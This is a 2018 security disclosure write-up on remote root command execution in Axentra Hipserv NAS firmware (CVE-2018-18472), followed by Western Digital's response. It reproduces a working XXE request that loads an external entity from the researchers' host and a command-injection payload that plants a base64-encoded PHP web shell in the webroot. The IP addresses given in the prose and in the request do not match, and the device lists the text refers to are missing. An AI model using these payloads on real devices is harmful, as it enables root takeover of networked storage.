Pierluigi Paganini
October 21, 2018
NAS devices have become the storage device of choice for many small and medium businesses (SMB). They are inexpensive, easy to operate, and you can add additional storage if you’re running low on space. But is it secure enough to protect your companies data? That was the question in our mind when we brought security researchers Paulos Yibelo and Daniel Eshetu to see if they could exploit any vulnerabilities in the leading NAS devices.
We focused on discovering only critical vulnerabilities that can be exploited remotely without any user interaction. Meaning, authentication bypasses weren’t enough. We wanted to execute commands on the devices remotely with the highest privileges. We were successful, in all the devices.
Summary of Our Findings
We used four popular NAS devices for this project
We successfully gained root remote command execution in the devices, and therefore the network they are on, simply by knowing their IP addresses.
CVE-2018-18472 – XXE and Unauthenticated Remote Command Execution in Axentra Hipserv NAS firmware.
Axentra Hipserv is a NAS OS that runs on multiple devices and provides cloud-based login and file storage and management functionalities for different devices. It’s used in different devices from different vendors, the affected devices sharing the firmware are:
The company provides a firmware with a web interface that mainly uses PHP as a serverside language. The web interface has a REST API endpoint and a typical web management interface with a file manager support.
Firmware Analysis.
After extracting the firmware and decoding the files, the php files were located in /var/www/html/ with the webroot in /var/www/html/html. The main handler for the web interface is homebase.php and RESTAPIController.php is the main handler for the rest API. All the php files were encrypted using IONCube which has a known public decoder and given the version used was an old one, decoding the files didn’t take long.
Part One: XXE
After decoding the files, most of the API endpoints and the web interface were not accessible without authentication. One of the few exceptions to this were a few endpoints in the REST API interface. One of those endpoints is located at /api/2.0/rest/aggregator/xml which loads xml data from POST data, although it uses DOMDocument for loading (parsing) the xml which should not be vulnerable to XXE attacks.
The version of libxml2 used as a backend in the firmware is an old one. This means that the external entity loading was not disabled by default. which opened the endpoint to exploitation. Through this it was possible to read files and perform SSRF attacks. An example request is given below
POST /api/2.0/rest/aggregator/xml HTTP/1.1
Host: 192.168.10.21
User-Agent: GoogleBot/2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version=”1.0″?>
<!DOCTYPE requests [
<!ELEMENT request (#PCDATA)>
<!ENTITY % dtd SYSTEM “http://192.168.10.20/XXE_CHECK”>
%dtd;
]>
<requests>
<request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request>
</requests>
The above request caused the xml parser to make a request to our server at 192.168.56.1 for the file XXE_CHECK. Although LFI was interesting to grab some sensitive files since XML can’t handle binary data it was not possible to dump the SQLite database to get usernames and passwords.
That meant we are able to read files and make SSRF requests in any of the below devices.
Part Two: RCE
Looking at how the web interface (REST API in particular) performed root actions was the next step. Since the web server runs as a non-root user and it had no sudo rights then it was found that the REST API makes calls to a local daemon named oe-spd, which runs on port 2000 bound to 127.0.0.1.
The daemon takes XML data, parses the request and carries out the action without any authentication, except making sure the request came from 127.0.0.1. What’s more, the daemon skips over junk data until it finds the string <?xml version=”1.0″?> as shown in the IDA snippet below.
strstr(*input_data, “<?xml version=\”1.0\”?>”);
This made things a lot easier since the request is going to be sent using the HTTP protocol, skipping over junk data (according to the daemon) was a real help. But, since we can’t directly put the URL in the xml file we make the xml parser send a request to a php script (or anything that does the redirection really) that redirects it to http://127.0.0.1:2000/a.php?d=*payload here*.
Since the daemon is choke full of command execution bugs, it was easy to craft a request that triggered one. Additionally, since the daemon runs with root privileges it’s possible to perform any action on the device. An example payload is given below.
* This payload uploads a simple php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id).
<?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>
To chain the vulnerabilities seamlessly we need a server the device can make an outbound connection to and the following simple PHP script to redirect the parser to send the payload and handle a little multi-staging of payloads.
WD MyBook Live and some models of WD MyCloud NAS contain a remotely exploitable vulnerability that lets anyone run commands on the device as root. The vulnerability exists in the language change and modifies functionality in the REST API.
What does this mean to the affected NAS users?
The original report is available here.
https://www.wizcase.com/blog/hack-2018/
Responses
WD:
The vulnerability report CVE-2018-18472 affects My Book Live devices originally introduced to the market between 2010 and 2012. These products have been discontinued since 2014 and are no longer covered under our device software support lifecycle. We encourage users who wish to continue operating these legacy products to configure their firewall to prevent remote access to these devices and to take measures to ensure that only trusted devices on the local network have access to the device.
Western Digital takes the security of our customers’ data seriously, and we provide security updates for our products to address issues from both external reports and regular security audits. Additionally, we welcome the opportunity to work with members of the security research community through responsible disclosure to help protect our users. Users who wish to find the latest security update for their Western Digital device may do so on our support portal at https://support.wdc.com. Security researchers who wish to contact Western Digital can find contact information as well as a PGP key at https://www.wdc.com/security/reporting.html.
About the authors:
WizCase Research Team
Paulos Yibelo is a reputable security researcher who uncovered multiple security issues and leaks affecting major VPN providers last year, with number of severe IoT CVEs under his name.
Daniel Eshetu, an underground security researcher who previously made good remark on the NAS and IoT exploit development.
